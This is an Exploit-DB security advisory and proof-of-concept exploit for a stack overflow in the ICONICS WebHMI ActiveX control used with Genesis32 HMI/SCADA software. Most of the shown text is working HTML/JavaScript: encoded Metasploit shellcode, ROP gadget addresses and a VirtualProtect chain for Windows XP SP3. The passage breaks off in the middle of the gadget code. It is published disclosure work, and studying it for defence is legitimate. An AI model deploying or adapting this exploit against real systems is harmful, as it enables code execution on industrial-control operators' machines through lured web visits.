Exploit-DB #17240
Description: ICONICS WebHMI - ActiveX Stack Overflow
Type: remote
Platform: windows
Date: 2011-05-03
Author: sgb & bls

Exploit:
   (    , )     (,
  .   `.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .`), ) _ _,
 /  _____/  / _  \    ____  ____   _____  
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \ 
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq 
                    (x.0)
                  '=.|w|.='
                  _='`"``=.

		presents..


ICONICS WebHMI ActiveX Stack Overflow

Vendor Link: http://www.iconics.com/
PDF: http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf


+-----------+
|Description|
+-----------+

ICONICS Genesis32 is a suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications. A stack overflow was found in an ActiveX control required by the WebHMI interface. This condition can be used to gain command execution. The affected control is 'GenVersion.dll' and has the ClassID of {CEFF5F48-BD2E-4D10-BAE5-AF729975E223}. This control is marked safe for scripting.


+------------+
|Exploitation|
+------------+

Exploitation of this vulnerability requires a user with the ActiveX control installed to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet.

By passing a specially crafted string to the "SetActiveXGUID" method, it is possible to overflow a static buffer and execute arbitrary code on the user's machine with the privileges of the logged on user. Security-Assessment.com constructed a JavaScript ROP exploit as proof of concept.



+----------------------------+
|Proof of Concept ROP Exploit|
+----------------------------+

<html>
<!--

   (    , )     (,
  .   `.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .`), ) _ _,
 /  _____/  / _  \    ____  ____   _____  
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \ 
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq 
                    (x.0)
                  '=.|w|.='
                  _='`"``=.

                presents..                            

  PRODUCT: http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
   AUTHOR: sgb <scott.bell@security-assessment.com>
   AUTHOR: bls <blair.strang@security-assessment.com>
  WEBSITE: http://www.security-assessment.com/
   TESTED: Windows XP Professional SP3 (EN) latest updates with IE8 and IE7
     DATE: Sun Jan 30 2011
 
-->



<title>ICONICS WEBHMI ACTIVEX BOF ROP XPSP3</title>

<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="target"></object>
<script language="JavaScript">

//----------------------------------------------------
// Javascript helpers
//----------------------------------------------------

String.prototype.repeat = function(num) {  
    return new Array(isNaN(num)? 1 : ++num).join(this);     
}

function encode_dword(sdw) {
    if(sdw.length != 8) {
        alert('encode_dword: invalid dword: ' + sdw);
        return "";
    }
    var a = sdw.substr(0, 4);
    var b = sdw.substr(4, 8);
    return unescape('%u' + b + '%u' + a);
}

function junk_dword(char) {
    var charCodeStr = char.charCodeAt(0).toString(16);
    var expr = charCodeStr.repeat(4)
    return encode_dword(expr);
}

//----------------------------------------------------
// Shellcode
//
// use payload/windows/exec
// set CMD 'cmd.exe /q /k taskkill /f /IM iexplore.exe'
// generate -t js_le -b '\x00'
//----------------------------------------------------

var shellcode = unescape('%u9090').repeat(200) + unescape(
'%ueaba%ud0be%udba1%ud9de%u2474%u5df4%uc933%u3bb1' + 
'%u5531%u8314%ufced%u5503%u0810%u2c4b%u4549%ucdb4' + 
'%u358a%u283c%u67bb%u385a%ub7ee%u6c28%u3c03%u857c' + 
'%u3090%uaaa9%ufe11%u858f%ucfa2%u490f%u4e60%u90ec' + 
'%ub0b5%u5acd%ub1c8%u860a%ue323%uccc3%u1396%u9067' + 
'%u122a%u9ea7%u6c13%u61c2%uc6e7%ub1cd%u5d58%u2985' + 
'%u39d2%u4b36%u5a37%u020a%ua83c%u95f8%ue194%ua401' + 
'%uadd8%u083f%uacd5%uaf78%udb06%ud372%udbbb%ua940' + 
'%u6e67%u0955%uc8e3%uabbd%u8e20%ua736%uc58d%ua411' + 
'%u0a10%ud02a%uad99%u50fd%u89d9%u39d9%ub0b9%ue478' + 
'%ucd6c%u409b%u6bd0%u63d7%u0d05%ue9ba%u9cd8%u57c0' + 
'%u9eda%uf7ca%uafb3%u9841%u30c4%udc80%ud32b%u2901' + 
'%u4dc4%u90c0%u6e89%ud63e%uecb7%ua7cb%uec43%ua2b9' + 
'%uab08%udf52%u5901%u4c55%u4821%u1f36%u5cb9%ua7dc' + 
'%u8024%u0931%uef87%u8926%u8eb3%ua2cb%u3950%u5940' + 
'%u9687%u81fe%ua1e8%ue1b3%u549f%u9234%uf933%u37b6' + 
'%u60e2%udd4f%u41fa');

//----------------------------------------------------
// ROP Gadgets
//
// Modules used: kernel32, user32, shell32, rpcrt4, ole32
//----------------------------------------------------




// Saves ESP into EAX
var save_esp_gadget = encode_dword("77EEDC67") +   // # DEC EAX # PUSH ESP # POP EBP # RETN 4
                      junk_dword("X") +            
                      encode_dword("7CB09A4D") +   // # XCHG EAX,EBP # RETN
                      junk_dword("Y");  

// This will inc ESP by 16 + 4 + 4 + 4 = 28 bytes

var jump_over_params_gadget = 
    encode_dword('7C80DFD8');  // # ADD ESP,10 # POP EDI # POP ESI # POP EBX # RETN

var virtual_protect_call = encode_dword('7c801ad4');   // &Kernel32.VirtualProtect

// 5 parameter placeholders and 1 static
var placeholders = junk_dword('P') +  // PPPP 8   == INITIAL ESP + 8  p1 - retaddr (shellcode)
                   junk_dword('Q') +  // QQQQ 12                      p2 - lpaddr  (shellcode)
                   junk_dword('R') +  // RRRR 16                      p3 - size    
                   junk_dword('S') +  // SSSS 20                      p4 - perms    
                   junk_dword('T');   // TTTT 24                      p5 - oldperms

var extra_junk   = junk_dword('Y');   // JUNK (because jump gadget skips 28 bytes) 

var copy_eax_edx = encode_dword('7CB1B102'); // # MOV EDX,EAX # MOV EAX,EDX # RETN
var copy_eax_ecx = en